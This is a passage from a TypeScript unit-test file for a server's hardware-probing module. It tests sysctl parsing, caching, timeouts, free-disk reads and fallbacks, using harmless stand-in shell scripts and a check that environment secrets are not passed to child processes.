it('falls back when the output was cut off inside the memory figure', async () => {
const hw = await readHardware(deps({ runSysctl: async () => 'hw.memsize: 1717' }));
expect(hw.source).toBe('os-fallback');
expect(hw.memBytes).toBe(8 * 1024 ** 3);
});
it('leaves the free disk out when it is unknown, and keeps the rest', async () => {
const hw = await readHardware(deps({ freeDiskBytes: async () => undefined }));
expect(hw.source).toBe('sysctl');
expect(hw).not.toHaveProperty('freeDiskBytes');
expect(hw).not.toHaveProperty('freeDiskGb');
});
it('reports a full disk as 0 bytes free, which is a figure and not "unknown"', async () => {
const hw = await readHardware(deps({ freeDiskBytes: async () => 0 }));
expect(hw.freeDiskBytes).toBe(0);
expect(hw.freeDiskGb).toBe('0.0');
});
});
describe('readHardware off macOS', () => {
it('spawns nothing and reads no disk', async () => {
let spawned = 0;
let diskRead = 0;
const hw = await readHardware(
deps({
platform: 'linux',
arch: 'x64',
runSysctl: async () => {
spawned++;
return MACMINI_SYSCTL;
},
freeDiskBytes: async () => {
diskRead++;
return 1;
},
totalMemBytes: () => 67_430_023_168,
})
);
expect(spawned).toBe(0);
expect(diskRead).toBe(0);
expect(hw).toEqual({
platform: 'linux',
arch: 'x64',
memBytes: 67_430_023_168,
memGb: '67.4',
memClassGb: 63,
source: 'not-probed',
});
});
});
describe('the cache of readHardware', () => {
it('reuses one result for 60 seconds, then probes again', async () => {
let clock = 5_000_000;
let spawned = 0;
const counting = deps({
now: () => clock,
runSysctl: async () => {
spawned++;
return spawned === 1 ? MACMINI_SYSCTL : MACBOOK_SYSCTL;
},
});
const first = await readHardware(counting);
clock += HARDWARE_CACHE_TTL_MS - 1;
const second = await readHardware(counting);
expect(spawned).toBe(1);
expect(second).toBe(first);
clock += 1;
const third = await readHardware(counting);
expect(spawned).toBe(2);
expect(third.chip).toBe('Apple M5 Pro');
});
it('caches a failed probe too: a broken sysctl is not spawned on every request', async () => {
let spawned = 0;
const failing = deps({
runSysctl: async () => {
spawned++;
return undefined;
},
});
expect((await readHardware(failing)).source).toBe('os-fallback');
expect((await readHardware(failing)).source).toBe('os-fallback');
expect(spawned).toBe(1);
});
it('lets concurrent callers share one probe', async () => {
let spawned = 0;
let release: (text: string) => void = () => {};
const slow = deps({
runSysctl: () => {
spawned++;
return new Promise<string>((resolve) => {
release = resolve;
});
},
});
const callers = [readHardware(slow), readHardware(slow), readHardware(slow)];
// Let the three calls reach the spawn before it answers.
await new Promise((resolve) => setImmediate(resolve));
release(MACMINI_SYSCTL);
const results = await Promise.all(callers);
expect(spawned).toBe(1);
expect(results[1]).toBe(results[0]);
expect(results[2]).toBe(results[0]);
});
it('probes again after a reset, and does not trust a clock that ran backwards', async () => {
let clock = 9_000_000;
let spawned = 0;
const counting = deps({
now: () => clock,
runSysctl: async () => {
spawned++;
return MACMINI_SYSCTL;
},
});
await readHardware(counting);
resetHardwareCache();
await readHardware(counting);
expect(spawned).toBe(2);
clock -= 10_000;
await readHardware(counting);
expect(spawned).toBe(3);
});
});
// The scripts below are POSIX shell. Codeman's server does not run on Windows.
describe.skipIf(process.platform === 'win32')('spawnSysctl, against a script of the test', () => {
let folder: string;
beforeEach(() => {
folder = mkdtempSync(join(tmpdir(), 'codeman-local-model-spawn-'));
});
afterEach(() => {
rmSync(folder, { recursive: true, force: true });
});
/** An executable shell script standing in for sysctl. */
function script(body: string, mode = 0o755): string {
const path = join(folder, 'fake-sysctl');
writeFileSync(path, `#!/bin/sh\n${body}\n`, { mode });
return path;
}
it('passes the seven keys as arguments and nothing else: no -n, no shell', async () => {
// printf, not echo: echo would swallow a `-n` argument, the very thing this test looks for.
const output = await spawnSysctl(script('printf \'%s\\n\' "$@"'));
expect(output?.trimEnd().split('\n')).toEqual([...SYSCTL_KEYS]);
});
it('reads the output of a program that exits 1, as sysctl does on an Intel Mac', async () => {
// Three keys are unknown there: their errors go to stderr, the other four lines to stdout.
const output = await spawnSysctl(
script(
[
"echo 'hw.memsize: 17179869184'",
"echo 'machdep.cpu.brand_string: Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz'",
`echo "sysctl: unknown oid 'hw.optional.arm64'" >&2`,
`echo "sysctl: unknown oid 'sysctl.proc_translated'" >&2`,
`echo "sysctl: unknown oid 'iogpu.wired_limit_mb'" >&2`,
"echo 'kern.osproductversion: 13.6.7'",
"echo 'hw.model: MacBookPro15,1'",
'exit 1',
].join('\n')
)
);
expect(output).toBeDefined();
expect(output).not.toContain('unknown oid');
expect(parseSysctl(output as string)).toEqual({
memBytes: 17_179_869_184,
chip: 'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz',
macosVersion: '13.6.7',
macosMajor: 13,
model: 'MacBookPro15,1',
});
});
it('answers undefined for a program that does not exist or may not be run', async () => {
expect(await spawnSysctl(join(folder, 'no-such-program'))).toBeUndefined();
expect(await spawnSysctl(script('echo "hw.memsize: 1"', 0o644))).toBeUndefined();
});
it('gives up on a program that hangs, and does not hand over half an output', async () => {
const started = Date.now();
// `exec` so the signal reaches the sleeper itself and nothing is left behind.
const output = await spawnSysctl(script("echo 'hw.memsize: 17179869184'\nexec sleep 20"), 200);
expect(output).toBeUndefined();
expect(Date.now() - started).toBeLessThan(5000);
});
it('answers undefined for an output far larger than seven lines', async () => {
expect(await spawnSysctl(script("head -c 200000 /dev/zero | tr '\\0' 'x'"))).toBeUndefined();
});
it("does not pass the server's environment to the program", async () => {
const name = 'CODEMAN_LOCAL_MODEL_TEST_SECRET';
process.env[name] = 'hunter2';
try {
const output = await spawnSysctl(script(`echo "secret=\${${name}:-unset}"`));
expect(output?.trim()).toBe('secret=unset');
} finally {
delete process.env[name];
}
});
});
describe('dataDirFreeBytes', () => {
let folder: string;
beforeEach(() => {
folder = mkdtempSync(join(tmpdir(), 'codeman-local-model-disk-'));
});
afterEach(() => {
rmSync(folder, { recursive: true, force: true });
});
it('reads the free bytes of the data dir with the real probe and the real statfs', async () => {
const free = await dataDirFreeBytes({ dataDir: () => folder });
expect(typeof free).toBe('number');
expect(free).toBeGreaterThanOrEqual(0);
});
it('uses the nearest existing parent when the data dir does not exist yet', async () => {
const asked: string[] = [];
const free = await dataDirFreeBytes({
dataDir: () => join(folder, 'not', 'yet', 'there'),
freeBytesOf: async (path) => {
asked.push(path);
return 123;
},
});
expect(free).toBe(123);
expect(asked).toEqual([folder]);
});
it('does not touch a folder whose mount does not answer, or a path that is a file', async () => {
for (const kind of ['unknown', 'file'] as const) {
let touched = 0;
const free = await dataDirFreeBytes({
dataDir: () => folder,
probeKind: async () => kind,
freeBytesOf: async () => {
touched++;
return 1;
},
});
expect(free, kind).toBeUndefined();
expect(touched, kind).toBe(0);
}
});
it('stops walking up after a few parents', async () => {
let probes = 0;
const free = await dataDirFreeBytes({
dataDir: () => '/a/b/c/d/e/f/g/h/i/j/k/l',
probeKind: async () => {
probes++;
return 'absent';
},
freeBytesOf: async () => 1,
});
expect(free).toBeUndefined();
expect(probes).toBe(7);
});
it('gives up on a statfs that does not come back, and never starts a second one meanwhile', async () => {
let started = 0;
let finish: (bytes: number) => void = () => {};
const hanging = {
dataDir: () => folder,
freeBytesOf: () => {
started++;
return new Promise<number>((resolve) => {
finish = resolve;
});
},
timeoutMs: 20,
};
// The first read waits its timeout and answers "unknown".
expect(await dataDirFreeBytes(hanging)).toBeUndefined();
expect(started).toBe(1);
// While that statfs is still out, later reads answer at once and start nothing.
const before = Date.now();
expect(await dataDirFreeBytes(hanging)).toBeUndefined();
expect(await dataDirFreeBytes({ ...hanging, timeoutMs: 60_000 })).toBeUndefined();
expect(Date.now() - before).toBeLessThan(1000);
expect(started).toBe(1);
// Once it finally answers, the next read works again.
finish(5);
await new Promise((resolve) => setImmediate(resolve));
expect(await dataDirFreeBytes({ ...hanging, freeBytesOf: async () => 42 })).toBe(42);
});
it('never rejects when one of its reads does', async () => {
const failing = async (): Promise<never> => {
throw new Error('EIO');
};
expect(await dataDirFreeBytes({ dataDir: () => folder, freeBytesOf: failing })).toBeUndefined();
expect(await dataDirFreeBytes({ dataDir: () => folder, probeKind: failing })).toBeUndefined();
expect(
await dataDirFreeBytes({
dataDir: () => {
throw new Error('no home');
},
})
).toBeUndefined();
});
it('is bounded by default', () => {
expect(FREE_DISK_TIMEOUT_MS).toBe(2000);
});
});
describe('the real defaults', () => {
let folder: string;
beforeEach(() => {
folder = mkdtempSync(join(tmpdir(), 'codeman-local-model-hw-'));
});
afterEach(() => {
rmSync(folder, { recursive: true, force: true });
});
it('reads the free bytes of a real folder, and undefined for one that does not exist', async () => {
const free = await freeDiskBytesOf(folder);
expect(typeof free).toBe('number');
expect(free).toBeGreaterThanOrEqual(0);
expect(await freeDiskBytesOf(join(folder, 'missing', 'deeper'))).toBeUndefined();
});
it('never rejects with the real spawn and the real disk read, whatever machine this is', async () => {
// Pretend to be a Mac so the spawn and the disk read really run. On Linux /usr/sbin/sysctl
// either does not exist or knows none of the keys: the answer is then the fallback.
const hw = await readHardware({ platform: 'darwin' });
expect(['sysctl', 'os-fallback']).toContain(hw.source);
expect(hw.memBytes).toBeGreaterThan(0);
expect(hw.memGb).toMatch(/^\d+(\.\d)?$/);
if (hw.freeDiskBytes !== undefined) {
expect(hw.freeDiskBytes).toBeGreaterThanOrEqual(0);
expect(hw.freeDiskGb).toMatch(/^\d+(\.\d)?$/);
}
});
});
Loaded 100 of 124 files, more files were not shown because too many files have changed in this diff. Show more